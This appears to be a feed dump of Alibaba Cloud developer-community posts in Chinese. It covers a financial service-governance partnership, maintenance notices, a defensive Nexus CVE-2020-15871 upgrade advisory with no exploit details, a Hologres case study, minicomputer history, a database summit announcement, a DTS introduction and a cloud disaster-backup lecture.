    在金融行业,对服务治理的需求更加迫切。现有大而全的系统犹如一张大网,错综复杂,体现为“三不清晰”和“三多”。
    “三不清晰”:系统边界不清晰;系统部署架构不清晰;功能架构不清晰;
    “三多”:涉及到的人员角色多;业务流程多;服务环节多。
    总之,牵一发而动全身,所以,对服务治理有着更高的要求。

    “金蝶天燕阿里云原生金融行业服务治理联合解决方案”面向全领域金融业务系统,帮助金融企业梳理关键业务流程。如银行IT系统业务需求流程梳理、系统接口与交易流程梳理、微服务架构下的服务化和标准化治理等,实现覆盖服务全生命周期的统一管理。为金融行业提供高性能、高可靠兼具扩展性与安全性的服务治理平台。

    在中国,云计算的整体渗透率仍不足 10%,金融领域更是远低于这个数字。阿里云作为国内顶尖的云服务商,有着成熟的架构体系与稳定的平台。金蝶天燕的产品曾服务于中国人民银行、中国证券监督管理委员会、中国银行、光大银行等金融行业的重要客户,在金融行业有着丰富的服务经验。

    金蝶天燕与阿里云一直是关系紧密的合作伙伴,在去年推出了“政府数字新财联合解决方案”,得到了广泛好评。此次“金融行业服务治理联合解决方案”是双方在金融领域迈出的新一步,未来双方将继续深入合作,金蝶天燕将发挥自身优势,立足阿里云平台,提供更多的优秀产品与解决方案。

    点击:阿里云原生合作伙伴计划,加入我们。

    ]]>
    【升级】8月5日阿里云服务热线95187维护通知 Fri, 02 May 2025 09:39:03 +0800

    尊敬的阿里云用户,您好

    接北京移动运营商通知,将于2020年8月5日00:00-01:00期间,对阿里云服务热线95187进行线路升级切换。
    如您使用的是移动手机号码,此段时间将无法正常拨打95187,建议您拨打阿里云售后热线4008013260进行服务咨询。或使用联通、电信号码拨打95187进行咨询。
    感谢您的理解与支持,谢谢。

    ]]>
    【升级】8月13日DDoS高防(新BGP)升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【DDoS高防(新BGP)】【升级通知】

    升级窗口:北京时间 2020年8月13日 02:00- 06:00

    升级内容:DDoS高防(新BGP)进行网络升级操作。

    升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】Nexus Repository Manager 3.x 远程代码执行漏洞(CVE-2020-15871) Fri, 02 May 2025 09:39:03 +0800

    2020年8月3日,阿里云应急响应中心监测到Nexus Repository Manager 3.x 版本存在远程代码执行漏洞。


    漏洞描述

    Sonatype Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。近日Sonatype官方发布安全公告披露了在Nexus Repository Manager 3.x 版本中存在远程代码执行漏洞(CVE-2020-15871),攻击者可在登录后利用该漏洞执行任意命令。漏洞利用需要登录,危害相对较小。阿里云应急响应中心提醒Nexus Repository Manager 3.x 用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Nexus Repository Manager OSS/Pro version < 3.25.1


    安全建议

    升级到Nexus Repository Manager 3.x 至最新版本 3.25.1


    相关链接

    https://support.sonatype.com/hc/en-us/articles/360052192693-CVE-2020-15871-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-07-29



    阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.8.3

    ]]>
    菜鸟+Hologres=智能物流-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:阿里巴巴菜鸟物流团队(弃疾,孝江,姜继忠)

    一、业务背景

    菜鸟智能物流分析引擎是基于搜索架构建设的物流查询平台,日均处理包裹事件几十亿,承载了菜鸟物流数据的大部分处理任务。
    智能物流分析引擎将基于运配网络的各类应用场景集中到了统一的一个技术架构,以此提供强大的吞吐和计算能力。基于原架构的数据处理流程为:Datahub实时采集数据源,包含仓、配、运和订单等数据,实时计算Flink基于流批一体的模式对数据预处理,形成一个以订单为单位,包含订单跟踪事件的宽表,写入存储引擎HBase中,再供外部查询。

    在数据处理部分,随着数据量的增加,原有的存储系统HBase在维表全量导入中所需要的时间越来越长,这就需要耗费大量的资源,另外其单机吞吐的表现不是很好,单位成本高。在数据量较小时,成本不是需要考虑的关键因素,但当数据量规模变大时,成本的重要性就体现出来了。菜鸟智能物流每天需要处理大批量的数据,这也就意味着每天将会浪费大量的资源。

    同时,在我们的场景中,有些表是作为Flink维表基于PK进行PointQuery,有些表需要进行OLAP分析,而HBase并不能两种场景都满足。为了OLAP分析,需要将数据同步到批处理系统中,为了KV查询,需要将数据同步到KVStore。不同的查询需求就需要借助多个系统,数据在不同系统之间的导入导出不仅会加深数据同步的负担,也会带来冗余存储,也极容易出现数据不一致的情况,并且多个系统也会给开发和运维带来一定的成本。

    基于以上背景,当前我们最需要解决的问题是降低整体的资源消耗成本,那么就需要有一款产品既能提供存储能力还要提供高性能的写入能力。而在查询场景上,若是这款产品能同时满足KV查询和复杂OLAP查询将会是加分项,这样就会解决多个系统带来的数据孤岛问题,一次性满足所有需求。

    我们在集团内对多个产品进行了调研,最终选择了Hologres替换现有的HBase。

    二、业务架构

    菜鸟物流引擎需要处理大量的表和数据,全量任务快递线和仓配线通过MaxCompute(原ODPS)表的日分区快照做驱动源,增量任务通过对应的事件流做驱动,来进行引擎数据写入。
    全量任务会根据包裹的历史履行进度进行聚合,生成这个包裹的客观履行和历史属性信息,并通过Flink Job实时同步更新到Hologres里,提供给数据任务进行关联。实时数据在接收到一条事件消息后,首先会去关联这条包裹历史履行,并会调用算法服务链,进行拆合单、末端网点预测、路由选择、时效预测等,生成新的预测履行进度。新的预测履行会作为回流数据写入TT(消息中间件,类似Kafka)和Hologres中,并再提供给数据任务进行关联。
    通过数据任务之间的互相协同,我们对数据关系进行了梳理,并尽量降低数据之间的依赖,最终业务处理架构如下图所示:

    • 数据驱动层 在数据驱动层中,包含几个部分:全量任务的主表驱动、增量任务的主表驱动、业务辅表的驱动。
    • 数据关联层 数据关联层主要包括各种Flink的SQL Operator。为了提升全量任务和增量任务的吞吐,通过存储和计算优化,将数据关联尽可能的分布到不同的数据分区上,来进行性能提升。
    • 数据交互层 索引数据通过Swift Sink的方式写入到索引构建服务中;要持久化的内部数据,通过写入接口保存到存储服务中。

    image.png
     

    三、业务价值

    将HBase替换成Hologres之后,给业务带来的价值主要有以下几个方面:

    1.整体硬件资源成本下降60%+
    对比HBase,相同配置的Hologres有着更强的写入性能,能够提供更好的吞吐量,也就是说我们可以用更少的资源来满足现有数据规模的处理需求。在实际业务应用中,整体硬件资源成本下降60%+,解决了我们最棘手的问题。

    2.更快的全链路处理速度(2亿记录端到端3分钟)
    全量数据处理所需的时间是非常重要的指标,设想某一天新发布的数据处理代码有bug,新产出的数据不可用,即使修复了代码,还得继续解决已经存在的错误数据,此时就要跑一次全量,用正常的数据覆盖错误的数据。全量任务的运行时间决定了故障的持续时间,全量运行的速度越快,故障才能越快解决。
    在物流分析引擎的全量中,我们需要先通过所有维表的数据,确保维表自身的数据是正确的,这是一个非常耗时的操作。以其中一张表为例,2亿多的数据量,使用Hologres同步只需要3分钟左右,这也意味着可以更快的执行完毕全量数据,以便我们能够更从容应对突发情况。

    3.一个系统,满KV和OLAP两个场景,没有数据冗余
    Hologres在存储上支持行存和列存两种存储模式。列存适合海量数据的交互式分析,而行存适合基于Primary Key的整行读取。这就意味着我们可以将所有的数据存储在Hologres中,需要PointQuery就选择行存模式,需要复杂OLAP分析就选择列存模式,满足了OLAP和KV查询,无需再借助其他系统,既保证了数据存储的唯一性,也避免了各种系统之间的导入导出和复杂运维。

    4.大维表实时SQL查询
    以前如果想查一下维表中的数据,由于是KV接口,并不是很方便。Hologres兼容PostgreSQL生态,可以直接使用psql客户端访问,通过标准的PostgreSQL语法查询表中的数据,支持各种过滤条件,能够很方便的实时检查数据是不是有问题。

    5.强Schema
    原有的维表存储是一个弱Schema的存储服务,在Flink任务中,即使访问不存在的字段也不会报错,只是获取到的字段值为空。代码里不小心写错了字段名,一是很难立刻发现,通常要等到数据产出时候才能发现,甚至只能等用户发现,另外排查起来也很麻烦,没法直接定位。使用Hologres的时候字段名写错立即报错,错误信息很明确,避免了潜在的错误风险,还能节省时间。

    ]]>
    关于小机 | 计算机百年趣味史(上)第8篇-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 上一篇:七个”小矮人” | 计算机百年趣味史(上)第7篇
    下一篇:PC时代 | 计算机百年趣味史(上)第9-10篇

    本文作者:衍云

    小机即小型机(minicomputer),从名字上我们可以知道是体积会较小的机器,不过体积也是针对大机(mainframe)来说是,如果光从绝对体积上讲,那显然又不对。所以,小机是对特定时代一群类似机器的统称。我们来看下小机的关键历史。其历史时间是与大型机并行的。

    1950年,肯·奥尔森(小型机之父)在MIT攻读硕士研究生的时候就加入了SAGE(Semi-Automatic Ground Environment,半自动地面环境,也就是上面提到的SAGE)项目中,后来和IBM的合作中,他看到IBM内部的官僚等级,奥尔森深感不满,并决定打败他们。

    于是在1957年,DEC成立了。通过存储测试逻辑软件和存储测试器站稳后便开始向计算机研制进军。1959年12月,DEC公司向市场推出了它的第一台计算机PDP-1的样机。

    1964年,推出了小巧玲珑的PDP-7型计算机(18位机),首次使用了倒装芯片(Flip chip),是的这就是UNIX最早诞生的元老。

    1965年的秋季,DEC公司推出了小巧玲珑的PDP-8型计算机(12位机),销售迅速扩大,抢占了IBM公司的计算机市场。

    1970年1月,DEC推出了PDP-11型计算机(肯·汤普森Ken Thompson跑的第一版Unix)。PDP-11拥有一系列计算功能,很快成为小型计算机工业的榜样,同时成为了小型计算机设计的楷模,成为了巅峰。

    不过PDP系列相互之间不兼容,导致每次程序需要重新移植。

    对于这些小巧玲珑的小机,IBM真是等到1979年时候,才开始意识到,并制作中小型商用计算机系统(System/3, System/32, System/34, System/36),当1988年时候IBM推出了下一代就是AS/400系列在与各个厂家竞争中独占鳌头,形势才发生变化。DEC也开始划水下坡。

    不过就像IBM忽略了小机市场那样,DEC也忽略了PC市场,使得苹果电脑占领了先机,而当IBM在1981年杀入PC市场,再加上DEC产品失误,后来就彻底没有DEC什么事情了。

    1998年1月DEC公司被竞争公司康柏(Compaq)以96亿美元的价格收购,结束了DEC在历史舞台上的最后一幕。

    和大机一样,只要有需求就会有竞争。小机厂家除了IBM,DEC之外,还有很多厂家,只是相比DEC晚了一些或者说更缺少一种典型。美国的Sun(1982年成立,早期使用摩托罗拉公司芯片,现已被Oracle收购)、日本Fujitsu(富士通)等公司的小型机是基于SPARC处理器架构(该处理器由1985年Sun公司研制,现在Oracle已放弃了SPARCE转用Intel Xeon),而美国HP公司的则是基于PA-RISC架构,后基于Itanium ,而最新的SuperdomeX也基于Intel Xeon;Compaq公司是Alpha架构。另外,不同厂家的小机其内部的各种总线也会存在差异,例如I/O总线,Fujitsu是PCI,而Sun是SBUS。处理器除了以上架构外,还有MIPS架构由斯坦福(Stanford)大学JohnL. Hennessy校长/教授(和David A. Patterson合著有《计算机体系机构:量化研究的方法》,并与2017年一起获得图灵奖, David A. Patterson 教授2016年,加入Google TPU团队)领导的研究小组1981开始研制。

    此外,由于小机的发展刚好赶上的UNIX的热潮,所以很多小型机都开始使用基于Unix的操作系统,像Sun Solaris(已被Oracle抛弃),HP是用HP-UX,IBM是AIX和OS/400。小型机是封闭专用的计算机系统,用小型机的用户一般是看中安全性、可靠性和专用服务器的高速运算能力。由于UNIX操作系统在小机上的霸主地位,很多人也将小机叫做UNIX服务器。

    小机相比大机市场竞争更加激烈,也更百花齐放。

    国内也有厂商基于Itanium开发小型机,在863国家项目的基础上,浪潮和华为均开发了产品。不过只有浪潮的天梭K-1系统在2013年上市,而华为转而使用Intel Xeon并推出了KunLun服务器。

    最后在小机篇中,

    我们来看下小机中的战斗机,IBM Power系列(集团在2012下线的小机就是IBM的Power系列机器)。

    目前最新的IBM Power机器是Power E980(也是几年前的产品,这个小机的定位已经决定其更行迭代较X86/ARM慢),外观没啥好看的,和普通的X86 4路服务器几乎一样,重要的其内置核心。

    我们来看下他强大的配置,最大16 x POWER9 processors(8, 10, 11 or 12 cores each),也就是128, 160, 176 or 192 Power9核心。这里最大是物理核心192个,开超线程(4thread per core)后是最大得到768线程,最重要的几乎完美的扩展性。

    6.jpg

    Power是标准的SMP结构,对于内存来说所有CPU访问的速度都是一致的,而x86采用了NUMA结构,每个CPU访问自己的这部分内存特别快,但是如果需要访问其它部分那就要走UPI总线,客观上造成了随着CPU数量的增多,处理能力的增长Power系列的线性程度远好于x86。另外,作为小型机,搭上自家的AIS系统,其设计更加完整紧凑,综合起来性能完爆Intel X86是没啥问题的,就是一个问题,贵!不过相比Z15大机,小机还是性价比更高的,毕竟价格摆在那里。

    扯远了......回到历史......

    ]]>
    开源国产数据库峰会-南京站-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 国际形势、国内趋势,现在中国数据库市场暗流涌动,这次盛会,让处于中国数据库一线的专家们为你解惑释疑。

    此次大会由中国计算机学会、开源中国、开源&国产数据库联盟、神脑资讯(CUUG)等单位主办,特邀阿里云、腾讯、迪思杰、亚信科技、苏宁易购、人大金仓、南大通用等企业代表,特邀北京大学、武汉大学、南京财经大学等院校代表,共同探讨国产数据库的发展,为各行各业提供去‘O’的全面解决方案,为现在身为DBA或者即将走上这条路的人士提供指导方向。

    参会嘉宾:

    周正中 (网名:德哥、阿里云数据库专家、PG 中国社区大学校长)

    秦小麟 (南京航空航天大学数据管理与知识工程研究所所长,江苏省政协常委)

    彭煜玮 (武汉大学计算机学院教授,CCF 数据库专委会委员)

    孙国梓 (南京邮电大学教授,CCF 南京副主席)

    韩宏坤 (迪思杰(北京)数据管理技术有限公司总裁)

    张文升 (PG 中国社区核心成员,著有《PostgreSQL 实战》和《PostgreSQL 内幕探索》畅销书籍)

    陈河堆 (中兴通讯数据库平台负责人,PG 中国社区核心成员,著有《深入浅出 PostgreSQL》畅销书籍)

    姜明俊 (亚信科技数据库技术创新实验室总监,PG 中国社区核心成员)

    陈华军 (苏宁易购 IT 总部资深技术经理,PG 中国社区核心成员)

    梁红凤 (北京人大金仓信息技术股份有限公司副总裁)

    杜国旺 (南大通用副总裁,首席战略官)

    陈卫星 (北京神脑资讯技术有限公司(CUUG)总裁)

    刘建国 (北京神脑资讯技术有限公司(CUUG)总经理)

    会议方式:

    线下:阿里云创新中心基地

    报名方式:https://jinshuju.net/f/gvUtP5

    线上:同步直播

    直播地址:https://wx.vzan.com/live/tvchat-778077007

    参会人员奖项:

    一等奖:PG中级认证课程(价值6800元) 5名

    二等奖:PG高级课程(价值5800) 5名

    三等奖:《PostgreSQL 实战》《深入浅出PostgreSQL》作者现场签名 各10本

    四等奖:峰会精美纪念品 30名

    五等奖:峰会纪念T恤 400名

    报名方式、直播地址、主题分享、会议抽奖等内容会在群内公布

    QQ群1:913256657

    ]]>
    什么是DTS | 《DTS控制台入门一本通》第一章-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 下一章:DTS概览页 | 《DTS控制台入门一本通》第二章

    点击免费下载
    《DTS控制台入门一本通》>>>

    test

    也可以PC端点击https://developer.aliyun.com/topic/download?id=803 下载

    DTS 全称为数据传输服务 DTS,它最常见的用途是把本地数据库的数据迁移、同步到阿里云,或者把阿里云的数据迁移、同步到本地。它更多的是一个数据迁移产品,它最终做的事情就是把数据从源端抽取 ( 复制源端数据,源端数据依然还在 ) 然后写入到目标端。另外,它还提供数据订阅的功能(关于数据订阅,后面章节会进行讨论),支持对增量数据进行订阅。简单的可以理解成下图这种架构,如图 1-1。
    image.png

    ]]>
    云上备份-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 讲师简介:
    辛阳,灾备技术国家工程实验室常务副主任,教授。
    吴结生,阿里巴巴高级研究员、阿里云智能存储负责人
    李媛(紫英),阿里云混合云灾备技术专家,阿里云产品经理
    张磊,阿里云智能高级技术专家

    目录

    一、灾备技术(灾备技术国家工程实验室常务副主任辛阳)
    二、云,让灾备更简单(阿里巴巴高级研究员吴结生)
    三、阿里云混合云灾备应用场景实践与案例解读(阿里云智能高级技术专家张磊)

    一、灾备技术

    灾备技术简介:
    习主席指出:“没有信息化就没有现代化,没有网络安全就没有国家安全“。

    image.png

    灾备技术作为”网络安全的最后一公里“,其不仅是网络安全保障体系的重要组成部分,也是网络与系统基础设施持续有效运行的基本保障,是信息化国家战略的重要支撑。

    灾备中心作为数据中心建设的基本组成部分,也是新基建工作的重要组成部分。

    从全球角度看,移动互联网、云计算、大数据、下一代移动通信等信息技术的发展,使得数据量呈爆炸式增长,人工智能、深度学习、类脑计算等数据再利用技术的成熟,又使得数据价值呈指数上升。

    但是火灾、地震、跑水、网络安全黑客攻击、运营误操作等天灾人祸时时刻刻威胁着数据和信息系统的稳定运行,重要数据与信息系统一旦受到破坏等同于企业和组织的"现金流"被追中断。

    如今我国政府业和企业的关键业务系统已经全部信息化,保持业务运行的持续稳定既是重要的也是迫切的。

    灾备行业相关法规:

    image.png

     2017年6月1日《网络安全法》正式实施,三十四条规定"对重要系统和数据库进行容灾备份",从法律角度对信息系统的备份进行了强制要求。

     2019年12月1日《信息安全技术网络安全等级保护基本要求》2.0正式实施,在新的标准中,对于数据备份和灾难恢复做出更高要求:除了备份之外,还要有数据和业务系统的本地高可用和异地容灾手段。

    灾备行业相关标准:

    image.png

    国际标准:目前,通用的暂难恢复标准采用的是1992年的SHARE78标准。

    国家标准:
    1.2007年中国灾难备份与恢复行业的第一个国家标准《信息系统灾难恢复规范》(GB/T20988-2007)开始正式实施。

    2、2013年《公共安全业务连续性管理体系要求》国家标准(GB/T 30146-2013)正式发布。

    3、2019年7月1日由全国信息安全标准化技术委员会(SAC/TC260)提出并归口的《信息安全技术灾难恢复服务能力评估准则》(GB/T 37046-2018),正式实施。

    云灾备的优势:
    云灾备的概念与分类:
     云灾备是指灾备业务的云端实现形式,主要包括云备份与云容灾;
     云备份与云容灾是一个有机的统一体,其中云备份是指备份技术将生产存储数据直接备份到公有云上,进而实现数据备份与恢复功能;
     云容灾则是指通过数据系统的云端迁移、高可用等方式实现业务的快速接管,保证业务连续性;
    优势:

    image.png

     基础设施减少,降低IT成本
     按需付费,高度机动性
     高度灵活性,快速恢复

    云灾备的关键技术:
     重复数据删除技术
     数据压缩传输技术
     云存储与安全隐私技术
     虚拟化与超融合技术
     云数据库备份技术

    云灾备技术未来发展方向
     微服务的支持
     NEW sql数据库支持
     多云和混合云的支持

    云灾备发展中的问题:

    image.png

    用户角度:
    1.普及云灾备与数据安全技术提升灾备安全意识;
    2、云灾备人才培养需要进一步加快;
    3、充分挖掘灾备技术数据的再利用价值,降低总TC0;

    云厂商角度:
    1、灾备技术需要不断突破,尤其对专网;
    2、大力研发数据隐私保护技术;
    3、进一步拓展广义"灾备技术"内涵,进一步降低云灾备成本;
    4、提供可选的多种多选第三方灾备数据安全技术增值应用

    监管角度:
    1、云灾备标准体系进一步完善;
    2、推动行业协会发挥更大的作用;
    3、数据隐私性要求要有强有力的惩罚性条款配套;

    云灾备-大势所趋:
    “上云”和“云上”将成为常态,“云灾备”和“灾备云”大势所趋。
    大力发展以云为代表的灾备基础设施是行业所需也是产业技术发展的必然趋势。

    二、云,让灾备更简单

    唯一不变的是变化:

    image.png

    依靠数据来进行决策和运营,数据的价值化会引导其极致的地位,在这些变化的后面大家可能会去思考它的驱动力是什么,这个驱动力就是所说的数字化经济的转型,是业务的数字化、在线化以及智能化。

    在数字经济时代灾备是最基础的技术需求,灾备技术是保障数据安全和技术安全的基本需求。

    在灾备的构成实际包含两部分:做数据保护,做业务连续性的保障。只有在两种保护下面才能做到不论发生什么故障,系统才能正常运行的。

    ALL IN CLOUD,拐点已至:

    image.png

    云存储逐渐成为主流的寄载点,数据一般分为三种:
    1.存在个人电脑,手机上的个人消费数据。
    2.存在企业数据中心的数据,企业数据中心层数
    3.位于规模云上的数据层数。

    灾备市场洞察:

    image.png

    灾备市场的一个情况,2019年达成了对数据中心的这种灾备的一个调查,就是分析发现,据说到2020年的时候,30%的大型企业会使用这个快照和备份,20%的企业会使用这个语音作为备用库,另外到2022年的时候40%的企业会替换他们在2018年备份的方案。

    这个调查的市场从另一个角度来看,到2021年的时候呢,使用情况会达到281,那么相比2020年或者是2022相比2021的话,往年增长大概是17%左右。

    总结来说:
    第一:灾备技术是保障这个信息安全和数据安全的基础技术需求。

    第二:云存储灾备是大势所趋,就如辛阳教授提到的那样。

    第三:灾备市场的扩大,年增长率会进一步的加速。

    传统灾备解决方案面临的痛点:

    image.png

    围绕公共云的灾备方案解决痛点,典型的两地三中心的方案,在同城的时候做数据中心,做数据双活,在远一点的地方找一个异地容灾的数据中心,就是上述有图绘制所示。

    每个数据中心上部署应用做备份,做容灾。在传统的方案上具备图中的几个痛点。

    云灾备解决方案:

    image.png

    在云灾备的解决方案里,假如客户拥有自己的数据中心,就是左上的生产中心,那么云灾备就可以在同城就近找一个阿里云的数据中心做一个业务的迁移,而阿里云会找一个远程的异地容灾能力进行备份。

    从客户角度来看可以不用去维护多个数据中心,而在公共云上容灾服务是以托管的方式进行的,可以一键部署不需要运维的。

    而在云上有很多优点,可以做资源的弹性伸缩,按时恢复,随时演练,对于随时演练来说,可能拥有一套比较完备的灾备解决方案,但是由于没有很方便的方式来做演练,到真正的用起来的时候会发现业务的需求可能会导致发生很多的损失。

    公共云是解决传统灾备问题的最佳方案:

    image.png

    基于公共云的灾备方案较传统方案,他在客户的痛点上有如下几个特点:第一个特点就是可运维性和可维护性,在传统灾备方案里面因为比较复杂,在公共云的战略方案里面就是全托管免运维服务。

    在扩展性方面它就发挥出这种弹性资源的弹性伸缩这种能力,这种分配是按需计费的。

    在传统解决方案里面扩展系统方面实际上压力还是比较大的,因为它要做一些扩容,扩容一般周期比较长。公共云的拓展上线的速度就是分钟左右,在工作上是分钟级的一个部署,即开即用。

    那么在这个在传统的解决方案里面,若要建造这些数据中心能够进入到这个设备进入这个网络,连通性需要几个月或者以年的这种长度来建造,然后从成本的角度来看的话,在公共云上可以节省70%的资源,从复杂度或灾备演练的可操作性来看的话,这个优势也是非常大的,所以可以简单易行的做部署演练。

    云灾备给企业带来的核心竞争力:

    image.png

    灾备是企业最重要的一环,是信息安全里面的最重要的一环,它是带给企业核心竞争力的,如上图绿色部分所示。

    在云灾备的场景下,可以对数据进行很多的创新,不但可以降低IT的成本,可以复用这些数据做很多其它事情,同时也会带来业务上的创新,例如可以用云上灾备数据做些数据分析,数据发掘,可以做开发环境加速开发的效能,或是做一些只读的数据分析,可以带来更多的数据发掘。Cloud Backup也是很流行的一个方向,将备份的数据化静态数据为宝来降低IT成本,加速业务创新。

    云上的灾备可以增强数据保护和业务连续性能力,因为这里面提到,常态化的演练可以对数据保护和业务能力进行及时的修改,真正到故障来的时候可以做到很好的切换和替换,可以及时的保障业务的连续性。

    阿里云企业级云灾备解决方案(混合云备份服务):

    image.png

    总的来说云的灾备有这些核心竞争力,优势,解决传统方案的痛点。

    混合云的备份产品:可以从本地的机房分配到公共云上,或者将公共云备份到另一个机房中,拥有非常丰富的场景和环境。

    例如这些File/sql server等等这些应用文件块存储,可以非常便捷的进行线上至线下,或者线下至线上的一个备份。

    安全:全链路的加密,数据从本地中心,从备份的网关进行加密以后传到云上,云上也是加密存储进行落盘。

    可靠:在全链路进行数据校验,在阿里云上也及时进行周期性的校验,使得你的数据是不会丢失不会错的。

    便宜:1.有自己创新的重删和压缩的技术,重删和压缩比高达30:1。

    2.云存储本身的性价比高,这些备份放在对象存储,NAS,块存储本身它自己的性价比比较高。

    阿里云混合云备份服务2019年被评为数据保护创新奖
    阿里云企业级云灾备解决方案(混合云容灾服务):

    image.png

    全托管的一个容灾工作服务,它具备非常特别的业务能力,第一个是保障业务的连续性,它可以实现秒级的这个RPO,以及这种分钟级的这个RTO,然后也满足提供丰富场景和模式的需求,例如混合云备份中提到的一些产品,把线下的这个本地机房的物理虚拟机或者物理机可以备份容灾到这个云上来做一键演练,并且可以一键恢复。

    image.png

    总结来说云灾备解决方案里面有以上的优势:低成本、速度快、常态演练、多种模式、安全可靠。

    云上,更安全更可靠:

    image.png

    在阿里云上,数据是更加安全更加可靠的。因为提供了一系列的产品和技术的解决方案来让数据在云上更加安全更加可靠。

    第一个例子就是怎样让数据上来以后数据丝毫不能错。

    第二,通常说到的高可靠,有12个9的这种可靠性。高可用,不管出现什么问题,随时随地需要访问这个数据,读写这些数据的情况都可以访问。

    再就是保证不出错,数据存在阿里云上怎样保证不错?在上传数据的时候做端到端的数据完整性校验,在数据存储至阿里云以后,定期进行数据的扫描,保障数据不会因为磁盘的静默性的错误带来损失。

    第三是通过跨多个数据中心的可用区来达到高可靠高可用。

    当数据上传至阿里云,使用其跨可用区的纠删码进行校验,通过数据分片保障多个可用区的协调性与可靠性。

    可以通过分片容忍数据的损坏,只要通过6个数据进行恢复,这就是容忍AZ级别的故障损坏,通过别的分片进行恢复可用。

    数据保护,可靠,可控,可见:

    image.png

    在云上数据保护是可靠可控可见的,进行全链路的数字加密。不论在安全方面或是计算方面以及存储方面我们都进行了加密,所以这个数据是可靠的。

    这个加密呢,是可控的,就是客户,他自己可以来控制它的这个密钥,比如可以用我们的这个密钥管理系统,也可以用他自己的,这个不是一个MP,他自己带来的这个密钥,因为它也可以用,我们这种就是硬件内存的原理。

    就是这种硬件支撑的这种密码管理器,所以上这个密码的这个管理是可控的,然后第三个呢,是可见,就是我们对客户的数据的一些,比如说像内部的操作,一些日志也透明化给客户,然后客户自己对这些数据的读写的访问呢,客户他自己可以来打开,他的那个访问日志也可以来做可见的。

    像数据的运维和因公都可以可见的拿到内部的操作日志。

    最完整的存储产品和服务:

    image.png

    提供完整的产品和服务:右下角提供了基础的存储服务,左下角提供了混合云的存储矩阵。链接两者之间的数据迁移服务,在线迁移服务或是离线迁移(闪电立方)。

    在这些服务之上呢建立了数据管理服务,例如备份服务,容灾服务,日志服务(纯托管一站式管理分析服务),智能媒体管理(集成阿里巴巴达摩院的技术分析,抽取图片数据的结构化数据)。

    总结:阿里云的灾备服务它具备低成本、安全可靠、随时放心的特点。

    三、阿里云混合云灾备应用场景实践与案例解读

    (一)、阿里云混合云灾备服务简介

    混合云备份服务(HBR)

    image.png

    混合云备份服务为用户自有机房和阿里云上数据提供统一备份的BRaaS(备份即服务)。

    特点:
     经济:轻量级的能够直接以纯软件的方式为用户实现本地备份及云上备份的统一,它的经济成分是比较高的,最高可以节约80%TCO。

     高效:数据重删压缩比高达30:1,高效重删提升数据保存、传输效率降低带宽使用为整体效率带来非常大的好处。

     安全:数据上云实现端到端的严苛的AES-256加密技术。

     可靠:采用端到端的链路传输。加上后台的定期扫描确保一致性及数据的可靠性。

     监控:整套监控运维都在平台上,备份任务失败主动通知,直接以短信或者电话方式通知到管理员,出现问题可以第一时间查询到。

    提供的服务有本地上云备份,云上数据备份(支持跨地域),VMware云上备份容灾。

    HBR技术架构:

    image.png

    适用场景:
    1.本地上云备份---本地文件、数据库、虚拟机的云备份。

    2.云上数据备份---ECS主机数据、以及NAS/OSS自动备份
    HBR技术架构可以是纯软件或者是软硬结合的技术架构,它可以从源端通过重删,压缩,加密之后在上到云上去。像NAS/OSS可以通过云原生的方式,无需安装,无需部署其他的云资源的方式备份到云备份库,备份到云备份库不需要做任何管理,也不需要额外购买ECS等全自动备份策略,可以按需扩容。

    HBR高效重删技术-精准识别重复数据:

    image.png

    拿手的高效重删技术,通过变长重删,两个数据源精准识别数据重复部分:当你在两个类似内容文件,不同版本可以精确实现重删。

    混合云容灾服务(HBR):
    为阿里云企业级本地应用,云上应用提供高性能整机容灾服务,目标性能达到秒级RPO,分钟级RTO。优势:一体机部署、实时复制,无中断演练、一键切换。

    image.png

    适用场景:
    1.本地应用云容灾---官网、OA、核心业务容灾上云。

    2.云上跨地域容灾---阿里云上部署的CRM.OA等应用跨地域容灾。

    HDR-持续数据复制(CDR)技术:

    image.png

    1、HDR基于CDR,是个磁盘级IO复制,一旦落盘就会从内存上拷贝到云上。

    2、数据落到云盘上会基于数据的云盘及云盘快照保护可以短时间的把整机的服务拉起来向外提供服务了。

    3、在实现高性能的前提之下还确保资源的精致利用,云上的计算资源消耗仅仅占云下的15%。

    (二)、云灾备典型案例解读

    典型案例-影视制作公司海量数据日常备份

    image.png

    有150TB的编辑数据,每天都有变化,需要每天都要备份一下,数据放在大规模NAS集群上,在用户的本地机房虚拟机安装HDR备份软件,分任务对150TB数据扫描备份,通过高效的重删压缩技术,在2GB专线带宽的情况下将备份窗口控制在8小时内,将大量数据集中到同一个备份库,当大量数据集中到同一个备份库之后它整体的重删压缩比会更高。

    所以在这样一个场景中,用阿里云单个备份库就实现了150TB的数据备份。

    同时云上资源非常有弹性的,可能第二天有项目上的变化存在数据的增长和变化,那么在云上按需的弹性伸缩就是非常好的优势。

    只需配置好文件夹就会基于云上数据的动态进行调整,这样就会按使用量付费,而不是按照最大的量规划运算。

    典型案例-地产公司全站统一备份

    image.png

    在云下,它自己就自建了两个数据中心,同时他也一部分业务跑在云上的。

    数据中心混合云架构是现在企业的IT系统发展的一个非常典型的一个发展方向,那么其实已经有部分业务上云上,同时又有一部分业务是在云下,其实那个设计到混合云架构,用户希望看到的是什么?

    是一个统一的,完全统一的,有一个管理员在一个窗口就能够管理起来的一个灾备系统,那么这次如何来实现呢?就用阿里云的这个备份服务来实现了,我们呢,最后复制的特点就是我们可以软硬件部署这样的话呢,就是在用户本地有灾备一体机,在云上我们有软件版的灾备ECS。

    这样的话,就是整个服务在云上,云下完全打通,数据双向复制,也就是说本地的数据先在本地备份,在云上备份,这样的话呢,就是有一个本地备份加异地备份叫双备份的这么一个机制来给用户的数据上个双保险。

